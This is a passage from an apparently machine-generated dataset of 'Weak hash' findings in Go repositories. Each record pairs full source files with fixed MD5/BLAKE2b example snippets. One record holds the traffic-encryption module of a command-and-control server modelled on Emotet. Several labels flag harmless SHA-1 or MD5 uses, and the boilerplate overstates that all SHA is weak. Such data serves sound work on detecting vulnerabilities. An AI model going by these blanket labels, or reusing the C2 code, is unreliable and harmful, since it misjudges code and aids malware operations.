urlMd5)\n\t\t\tif db.Zget(bn, clickKey).State == \"ok\" {\n\t\t\t\tw.Write([]byte(`{\"retcode\":403,\"retmsg\":\"err\"}`))\n\t\t\t\treturn\n\t\t\t}\n\t\t\tdb.Zset(bn, clickKey, uint64(time.Now().UTC().Unix()))\n\t\t\tdb.Hincr(\"url_md5_click\", []byte(urlMd5), 1)\n\n\t\t\tw.Write([]byte(`{\"retcode\":200,\"retmsg\":\"ok\"}`))\n\t\t\treturn\n\t\t}\n\t} else if rec.Act == \"comment_preview\" {\n\t\trsp.Retcode = 200\n\t\trsp.Html = template.HTML(util.ContentFmt(db, rec.Content))\n\t} else if rec.Act == \"comment_submit\" {\n\t\ttimeStamp := uint64(time.Now().UTC().Unix())\n\t\tcurrentUser, _ := h.CurrentUser(w, r)\n\t\tif currentUser.Flag < 5 {\n\t\t\tw.Write([]byte(`{\"retcode\":403,\"retmsg\":\"forbidden\"}`))\n\t\t\treturn\n\t\t}\n\t\tif (timeStamp - currentUser.LastReplyTime) < uint64(h.App.Cf.Site.CommentInterval) {\n\t\t\tw.Write([]byte(`{\"retcode\":403,\"retmsg\":\"out off comment interval\"}`))\n\t\t\treturn\n\t\t}\n\t\taobj, err := model.ArticleGetById(db, aid)\n\t\tif err != nil {\n\t\t\tw.Write([]byte(`{\"retcode\":404,\"retmsg\":\"not found\"}`))\n\t\t\treturn\n\t\t}\n\t\tif aobj.CloseComment {\n\t\t\tw.Write([]byte(`{\"retcode\":403,\"retmsg\":\"comment forbidden\"}`))\n\t\t\treturn\n\t\t}\n\t\tcommentId, _ := db.HnextSequence(\"article_comment:\" + aid)\n\t\tobj := model.Comment{\n\t\t\tId: commentId,\n\t\t\tAid: aobj.Id,\n\t\t\tUid: currentUser.Id,\n\t\t\tContent: rec.Content,\n\t\t\tAddTime: timeStamp,\n\t\t\tClientIp: \"\",\n\t\t}\n\t\tjb, _ := json.Marshal(obj)\n\n\t\tdb.Hset(\"article_comment:\"+aid, youdb.I2b(obj.Id), jb) // 文章评论bucket\n\t\tdb.Hincr(\"count\", []byte(\"comment_num\"), 1) // 评论总数\n\t\t// 用户回复文章列表\n\t\tdb.Zset(\"user_article_reply:\"+strconv.FormatUint(obj.Uid, 10), youdb.I2b(obj.Aid), obj.AddTime)\n\n\t\t// 更新文章列表时间\n\n\t\taobj.Comments = commentId\n\t\taobj.RUid = currentUser.Id\n\t\taobj.EditTime = timeStamp\n\t\tjb2, _ := json.Marshal(aobj)\n\t\tdb.Hset(\"article\", youdb.I2b(aobj.Id), jb2)\n\n\t\tcurrentUser.LastReplyTime = timeStamp\n\t\tcurrentUser.Replies += 1\n\t\tjb3, _ := json.Marshal(currentUser)\n\t\tdb.Hset(\"user\", youdb.I2b(currentUser.Id), jb3)\n\n\t\t// 总文章列表\n\t\tif currentUser.Flag != 6 {\n\t\t\tdb.Zset(\"article_timeline\", youdb.I2b(aobj.Id), timeStamp)\n\t\t}\n\n\t\t// 分类文章列表\n\t\tdb.Zset(\"category_article_timeline:\"+strconv.FormatUint(aobj.Cid, 10), youdb.I2b(aobj.Id), timeStamp)\n\n\t\t// @ somebody in comment & topic author\n\t\tsbs := util.GetMention(\"@\"+strconv.FormatUint(aobj.Uid, 10)+\" \"+rec.Content,\n\t\t\t[]string{currentUser.Name, strconv.FormatUint(currentUser.Id, 10)})\n\t\tfor _, sb := range sbs {\n\t\t\tvar sbObj model.User\n\t\t\tsbu, err := strconv.ParseUint(sb, 10, 64)\n\t\t\tif err != nil {\n\t\t\t\t// @ user name\n\t\t\t\tsbObj, err = model.UserGetByName(db, strings.ToLower(sb))\n\t\t\t} else {\n\t\t\t\t// @ user id\n\t\t\t\tsbObj, err = model.UserGetById(db, sbu)\n\t\t\t}\n\n\t\t\tif err == nil {\n\t\t\t\tif len(sbObj.Notice) > 0 {\n\t\t\t\t\taidList := util.SliceUniqStr(strings.Split(aid+\",\"+sbObj.Notice, \",\"))\n\t\t\t\t\tif len(aidList) > 100 {\n\t\t\t\t\t\taidList = aidList[:100]\n\t\t\t\t\t}\n\t\t\t\t\tsbObj.Notice = strings.Join(aidList, \",\")\n\t\t\t\t\tsbObj.NoticeNum = len(aidList)\n\t\t\t\t} else {\n\t\t\t\t\tsbObj.Notice = aid\n\t\t\t\t\tsbObj.NoticeNum = 1\n\t\t\t\t}\n\t\t\t\tjb, _ := json.Marshal(sbObj)\n\t\t\t\tdb.Hset(\"user\", youdb.I2b(sbObj.Id), jb)\n\t\t\t}\n\t\t}\n\n\t\trsp.Retcode = 200\n\t}\n\n\tjson.NewEncoder(w).Encode(rsp)\n}\n\nfunc (h *BaseHandler) ContentPreviewPost(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\ttoken := h.GetCookie(r, \"token\")\n\tif len(token) == 0 {\n\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"token cookie missed\"}`))\n\t\treturn\n\t}\n\n\tcurrentUser, _ := h.CurrentUser(w, r)\n\tif currentUser.Flag < 5 {\n\t\tw.Write([]byte(`{\"retcode\":403,\"retmsg\":\"forbidden\"}`))\n\t\treturn\n\t}\n\n\ttype recForm struct {\n\t\tAct string `json:\"act\"`\n\t\tLink string `json:\"link\"`\n\t\tContent string `json:\"content\"`\n\t}\n\n\ttype response struct {\n\t\tnormalRsp\n\t\tContent string `json:\"content\"`\n\t\tHtml template.HTML `json:\"html\"`\n\t}\n\n\tdecoder := json.NewDecoder(r.Body)\n\tvar rec recForm\n\terr := decoder.Decode(&rec)\n\tif err != nil {\n\t\tw.Write([]byte(`{\"retcode\":400,\"retmsg\":\"json Decode err:` + err.Error() + `\"}`))\n\t\treturn\n\t}\n\tdefer r.Body.Close()\n\n\tdb := h.App.Db\n\trsp := response{}\n\n\tif rec.Act == \"preview\" && len(rec.Content) > 0 {\n\t\trsp.Retcode = 200\n\t\trsp.Html = template.HTML(util.ContentFmt(db, rec.Content))\n\t}\n\tjson.NewEncoder(w).Encode(rsp)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "62cc379e1da1d2bf8fe0cf1c145d769bf5ff4cf35ce6438717f9f53c324ea46c", "license": {"spdx": ["Apache-2.0"], "repo": "m00zh33/golang_c2", "path": "src/cryptography/cryptography.go", "repo_head_hexsha": "648f63d99813dc1737f000f3de639378c1082339", "stack_hexsha": "6a297355df6872b7bf16ab56df5ad7abc77dfc5e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 27, "entireCode": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage cryptography\n\nimport (\n\t\"bytes\"\n\t\"config\"\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/sha1\"\n\t\"crypto/x509\"\n\t\"encoding/base64\"\n\t\"encoding/pem\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\n// private2048Key is a global variable holding they key\n// This is used to decrypt AES key from each agent request\nvar private2048Key *rsa.PrivateKey\n\n// AesParams holds AES KEY and IV for each request\n// Agent send new KEY and IV every request\ntype AesParams struct {\n\tkey []byte\n\tiv []byte\n}\n\n// LoadCrypto parses private key from a location specific in Config structure\n// You have to make sure that agent has the correct public key, otherwise C2 won't be able\n// to decrypt any requests.\nfunc LoadCrypto(config *config.Config) error {\n\tpwd, _ := os.Getwd()\n\tpriv, err := ioutil.ReadFile(filepath.Join(pwd, config.Receiver.KeyPath))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tpemBlock, _ := pem.Decode([]byte(priv))\n\tprivate2048Key, err = x509.ParsePKCS1PrivateKey(pemBlock.Bytes)\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn nil\n}\n\n// Decrypt is used to decrypt the message.\n// You can change this function to fit your needs, and it will work for as long as\n// the function recieves encrypted message and returns decrypted one.\n// In the current scheme, each message contains the following:\n// PUBKEY(AES+IV) AES(PROTOBUF(DATA))\nfunc Decrypt(msg *string, aesParams *AesParams) (*[]byte, error) {\n\t// First, decode from Base64 form into bytes\n\tb64decodedMessage, err := base64.StdEncoding.DecodeString(*msg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// The AES KEY and IV is 256 bytes long and attached to the beginning to the message\n\t// They are encrypted with agen't public key\n\tencryptedKey := b64decodedMessage[:256]\n\t// Decrypt using OAEP\n\tdecryptedKeys, err := rsa.DecryptOAEP(sha1.New(), rand.Reader,\n\t\tprivate2048Key, encryptedKey, []byte(\"\"))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// Extract and store AES KEY and IV for this request\n\taesParams.key = decryptedKeys[:aes.BlockSize]\n\taesParams.iv = decryptedKeys[aes.BlockSize:]\n\t// Initialize AES CBC Cipher and decryp the message\n\tblock, err := aes.NewCipher(aesParams.key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tmode := cipher.NewCBCDecrypter(block, aesParams.iv)\n\t// Remove AES KEY and IV from message\n\tciphertext := b64decodedMessage[256:]\n\t// Decrypt\n\tmode.CryptBlocks(ciphertext, ciphertext)\n\t// Trim the message to get rid of \\x00 padding bytes\n\tdecodedData := bytes.Trim(ciphertext, \"\\x00\")\n\t// Retrun reference to decoded data\n\treturn &decodedData, nil\n}\n\n// Encrypt encrypts bytes with AES CBC and encodes with base64.\n// This is a fairly straighforward function, which encrypts serialzied\n// protobufs with AES key an iv supplied in request (like Emotet).\n// The response will be AES(PROTOBUF(DATA))\nfunc Encrypt(decodedData *[]byte, aesParams *AesParams) (*string, error) {\n\t// Initialize cipher with previously saved AesParams\n\tblock, err := aes.NewCipher(aesParams.key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// Pad the string with \\x00\n\tpadLen := aes.BlockSize - len(*decodedData)%aes.BlockSize\n\tpad := bytes.Repeat([]byte{0}, padLen)\n\tpaddedData := append(*decodedData, pad...)\n\tciphertext := make([]byte, len(paddedData))\n\t// Encrypt the message\n\tmode := cipher.NewCBCEncrypter(block, aesParams.iv)\n\tmode.CryptBlocks(ciphertext, paddedData)\n\tencodedMessage := base64.StdEncoding.EncodeToString(ciphertext)\n\treturn &encodedMessage, nil\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 27, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "8a943387caf47eb8339de66b9118839727ae8416fb7b770cda8a534b4da42e71", "license": {"spdx": ["MIT"], "repo": "Olling/Enrolld", "path": "output/targets.go", "repo_head_hexsha": "55a407ee8f8456ff345ac00728398a2f0364d4c9", "stack_hexsha": "3fef1d6358f1c37eb5a27afc5ee1aed60bf86198", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 8, "entireCode": "package output\n\nimport (\n\t\"io\"\n\t\"fmt\"\n\t\"sort\"\n\t\"strings\"\n\t\"crypto/sha1\"\n\t\"github.com/Olling/Enrolld/utils\"\n\t\"github.com/Olling/Enrolld/utils/objects\"\n\t\"github.com/Olling/Enrolld/dataaccess/config\"\n)\n\ntype TargetList struct {\n\tTargets []string `json:\"targets\"`\n\tLabels map[string]string `json:\"labels\"`\n}\n\nfunc serverToTargetList(server objects.Server) (label string, entry TargetList) {\n\tif config.Configuration.TargetsPort != \"\" {\n\t\tserver.ServerID = server.ServerID + \":\" + config.Configuration.TargetsPort\n\t}\n\n\tentry.Targets = []string{server.ServerID}\n\n\tif server.Properties != nil {\n\t\tentry.Labels = server.Properties\n\t} else {\n\t\tentry.Labels = make(map[string]string)\n\t}\n\n\tentry.Labels[\"groups\"] = strings.Join(server.Groups, \", \")\n\n\tif len(entry.Labels) == 0 {\n\t\tlabel = \"nolabels\"\n\t} else {\n\t\tsha1calc := sha1.New()\n\n\t\tvar keys []string\n\t\tfor key, _ := range entry.Labels {\n\t\t\tkeys = append(keys, key)\n\t\t}\n\t\tsort.Strings(keys)\n\n\t\tfor _, key := range keys {\n\t\t\tio.WriteString(sha1calc, key+\":\"+entry.Labels[key])\n\t\t}\n\t\tlabel = fmt.Sprintf(\"%x\", sha1calc.Sum(nil))\n\t}\n\n\treturn label, entry\n}\n\n\nfunc GetTargetsInJSON(servers []objects.Server) (string, error) {\n\tentriesmap := make(map[string]TargetList)\n\n\tfor _, server := range servers {\n\t\tlabel, entry := serverToTargetList(server)\n\n\t\t_, keyexists := entriesmap[label]\n\t\tif keyexists {\n\t\t\ttempentry := entriesmap[label]\n\t\t\ttempentry.Targets = append(tempentry.Targets, entry.Targets...)\n\t\t\tentriesmap[label] = tempentry\n\t\t} else {\n\t\t\tentriesmap[label] = entry\n\t\t}\n\t}\n\n\tvar entries []TargetList\n\tfor _, value := range entriesmap {\n\t\tentries = append(entries, value)\n\t}\n\tentriesjson, err := utils.StructToJson(entries)\n\n\treturn entriesjson, err\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "2715e9f0fcfd2258cafd97347532282031023994b328b131e65fda4d22e02720", "license": {"spdx": ["Apache-2.0"], "repo": "mirlos-pt/gobmp", "path": "pkg/bmp/per-peer-header.go", "repo_head_hexsha": "a96c70d0a6aa230c919585aa20f92e09fedca267", "stack_hexsha": "541405d549b69a8ea427bc6068440de56a65692b", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package bmp\n\nimport (\n\t\"crypto/md5\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"time\"\n\n\t\"github.com/golang/glog\"\n\t\"github.com/sbezverk/gobmp/pkg/base\"\n\t\"github.com/sbezverk/gobmp/pkg/tools\"\n)\n\nconst (\n\tBMP_PEER_HEADER_SIZE = 42\n)\n\n// PerPeerHeader defines BMP Per-Peer Header per rfc7854\ntype PerPeerHeader struct {\n\tPeerType byte\n\tFlagV bool\n\tFlagL bool\n\tFlagA bool\n\tFlagO bool\n\tPeerDistinguisher []byte // *PeerDistinguisher\n\tPeerAddress []byte\n\tPeerAS int32\n\tPeerBGPID []byte\n\tPeerTimestamp []byte\n}\n\n// Len returns the length of PerPeerHeader structure\nfunc (p *PerPeerHeader) Len() int {\n\treturn 1 + 1 + len(p.PeerDistinguisher) + len(p.PeerAddress) + 4 + len(p.PeerBGPID) + len(p.PeerTimestamp)\n}\n\n// Serialize generate a slice of bytes for sending over the network\nfunc (p *PerPeerHeader) Serialize() ([]byte, error) {\n\tb := make([]byte, BMP_PEER_HEADER_SIZE)\n\tb[0] = p.PeerType\n\tflag := uint8(0)\n\tif p.FlagV {\n\t\tflag |= 0x80\n\t}\n\tif p.FlagL {\n\t\tflag |= 0x40\n\t}\n\tif p.FlagA {\n\t\tflag |= 0x20\n\t}\n\tif p.FlagO {\n\t\tflag |= 0x10\n\t}\n\tb[1] = flag\n\tcopy(b[2:10], p.PeerDistinguisher)\n\tif p.FlagV {\n\t\tcopy(b[10:26], p.PeerAddress)\n\t} else {\n\t\t// Copying only last 4 bytes where IPv4 address is stored\n\t\tcopy(b[22:26], p.PeerAddress[12:16])\n\t}\n\tbinary.BigEndian.PutUint32(b[26:30], uint32(p.PeerAS))\n\tcopy(b[30:34], p.PeerBGPID)\n\tcopy(b[34:42], p.PeerTimestamp)\n\n\treturn b, nil\n}\n\n// UnmarshalPerPeerHeader processes Per-Peer header\nfunc UnmarshalPerPeerHeader(b []byte) (*PerPeerHeader, error) {\n\tif glog.V(6) {\n\t\tglog.Infof(\"BMP Per Peer Header Raw: %s\", tools.MessageHex(b))\n\t}\n\tpph := &PerPeerHeader{\n\t\tPeerDistinguisher: make([]byte, 8), // newPeerDistinguisher(),\n\t\tPeerAddress: make([]byte, 16),\n\t\tPeerBGPID: make([]byte, 4),\n\t\tPeerTimestamp: make([]byte, 8),\n\t}\n\t// Extracting Peer type\n\t// * Peer Type = 0: Global Instance Peer\n\t// * Peer Type = 1: RD Instance Peer\n\t// * Peer Type = 2: Local Instance Peer\n\tswitch b[0] {\n\tcase 0:\n\tcase 1:\n\tcase 2:\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"invalid peer type, expected between 0 and 2 found %d\", b[0])\n\t}\n\tp := 0\n\tpph.PeerType = b[p]\n\tp++\n\tpph.FlagV = b[p]&0x80 == 0x80\n\tpph.FlagL = b[p]&0x40 == 0x40\n\tpph.FlagA = b[p]&0x20 == 0x20\n\tpph.FlagO = b[p]&0x10 == 0x10\n\tp++\n\t// RD 8 bytes\n\tcopy(pph.PeerDistinguisher, b[p:p+8])\n\tp += 8\n\t// Peer Address 16 bytes but for IPv4 case only last 4 bytes needed\n\tcopy(pph.PeerAddress, b[p:p+16])\n\tp += 16\n\tpph.PeerAS = int32(binary.BigEndian.Uint32(b[p : p+4]))\n\tp += 4\n\tcopy(pph.PeerBGPID, b[p:p+4])\n\tp += 4\n\t// Store Peer's timestamp (8 bytes) as a slice\n\tcopy(pph.PeerTimestamp, b[p:p+8])\n\n\treturn pph, nil\n}\n\nfunc (p *PerPeerHeader) GetPeerTimestamp() string {\n\tt := time.Date(1970, time.January, 1, 0, 0, 0, 0, time.UTC)\n\tts := time.Second * time.Duration(binary.BigEndian.Uint32(p.PeerTimestamp[0:4]))\n\ttms := time.Duration(int(binary.BigEndian.Uint32(p.PeerTimestamp[4:8])))\n\tt = t.Add(ts)\n\tt = t.Add(tms)\n\treturn t.Format(time.StampMicro)\n}\n\n// GetPeerHash calculates Peer Hash and returns as a hex string\nfunc (p *PerPeerHeader) GetPeerHash() string {\n\tdata := []byte{}\n\tdata = append(data, p.PeerDistinguisher...)\n\tdata = append(data, p.PeerAddress...)\n\tdata = append(data, []byte(fmt.Sprintf(\"%d\", p.PeerAS))...)\n\tdata = append(data, p.PeerBGPID...)\n\n\treturn fmt.Sprintf(\"%x\", md5.Sum(data))\n}\n\n// GetPeerAddrString returns a string representation of Peer address\nfunc (p *PerPeerHeader) GetPeerAddrString() string {\n\tif p.FlagV {\n\t\t// IPv6 specific conversions\n\t\treturn net.IP(p.PeerAddress).To16().String()\n\t}\n\t// IPv4 specific conversions\n\treturn net.IP(p.PeerAddress[12:]).To4().String()\n}\n\n// GetPeerDistinguisherString returns string representation of Peer's distinguisher\n// depending on the peer's type.\nfunc (p *PerPeerHeader) GetPeerDistinguisherString() string {\n\tvar s string\n\tswitch p.PeerType {\n\tcase 0:\n\t\ts += \"0:0\"\n\tcase 1:\n\t\tif rd, err := base.MakeRD(p.PeerDistinguisher); err != nil {\n\t\t\ts += \"0:0\"\n\t\t\tbreak\n\t\t} else {\n\t\t\ts += rd.String()\n\t\t}\n\tcase 2:\n\t\ts += fmt.Sprintf(\"%d\", binary.BigEndian.Uint64(p.PeerDistinguisher))\n\t}\n\n\treturn s\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "e3d8b4060bb42e2ba35eddc4fd80314960b4eb3adfb533a78d042b1d70ab9cd4", "license": {"spdx": ["MIT"], "repo": "go-tent/tent", "path": "destination/file.go", "repo_head_hexsha": "27ce57f2d658cb476d7fad33aaf7c4b491f06ae0", "stack_hexsha": "504f17600049fa9faa67b039b5000db6f4064535", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package destination\n\nimport (\n\t\"context\"\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path\"\n\n\t\"github.com/go-tent/tent/item\"\n)\n\n// NewFile returns a new File destination.\nfunc NewFile(root string) *File {\n\treturn &File{root: root}\n}\n\n// File takes a directory in the filesystem as destination.\ntype File struct {\n\troot string\n}\n\n// Hash returns the SHA1 for the item.\nfunc (f *File) Hash(ctx context.Context, i item.Item) (string, error) {\n\tr, err := os.Open(f.path(i))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer r.Close()\n\th := sha1.New()\n\tif _, err := io.Copy(h, r); err != nil {\n\t\treturn \"\", err\n\t}\n\treturn hex.EncodeToString(h.Sum(nil)), nil\n}\n\n// Create adds a new Item to the Destination.\nfunc (f *File) Create(ctx context.Context, i item.Item) error {\n\tif f.exist(i) {\n\t\treturn os.ErrExist\n\t}\n\treturn f.write(i, os.O_CREATE)\n}\n\n// Update overwrites an Item in the Destination.\nfunc (f *File) Update(ctx context.Context, i item.Item, hash string) error {\n\tif !f.exist(i) {\n\t\treturn os.ErrNotExist\n\t}\n\tif err := f.ensureHash(ctx, i, hash); err != nil {\n\t\treturn err\n\t}\n\treturn f.write(i, os.O_TRUNC)\n}\n\n// Delete removes an Item from the Destination.\nfunc (f *File) Delete(ctx context.Context, i item.Item, hash string) error {\n\tif !f.exist(i) {\n\t\treturn os.ErrNotExist\n\t}\n\tif err := f.ensureHash(ctx, i, hash); err != nil {\n\t\treturn err\n\t}\n\treturn os.Remove(f.path(i))\n}\n\nfunc (f *File) path(i item.Item) string {\n\treturn path.Join(f.root, i.Name())\n}\n\nfunc (f *File) exist(i item.Item) bool {\n\t_, err := os.Stat(f.path(i))\n\treturn err == nil\n}\n\nfunc (f *File) ensureHash(ctx context.Context, i item.Item, hash string) error {\n\th, err := f.Hash(ctx, i)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif h != hash {\n\t\treturn fmt.Errorf(\"conflict (expected %s, got %s)\", h, hash)\n\t}\n\treturn nil\n}\n\nfunc (f *File) write(i item.Item, mode int) error {\n\tr, err := i.Content()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer r.Close()\n\n\tp := f.path(i)\n\tif err := os.MkdirAll(path.Dir(p), 0755); err != nil {\n\t\treturn err\n\t}\n\tw, err := os.OpenFile(p, mode|os.O_WRONLY, 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer w.Close()\n\t_, err = io.Copy(w, r)\n\treturn err\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "3b495c7210aa66c69c4c670bb3e7f873d020ae2ae0b774f26bc04fd4752eedab", "license": {"spdx": ["MIT"], "repo": "whjun123/gogo", "path": "hashes/sha.go", "repo_head_hexsha": "2879a794dff7dfa4a81ef4950531d1d51104ce64", "stack_hexsha": "6164df2af8f2b554cf4cef6afde6b5ef07d0935e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package hashes\n\nimport (\n\tsha12 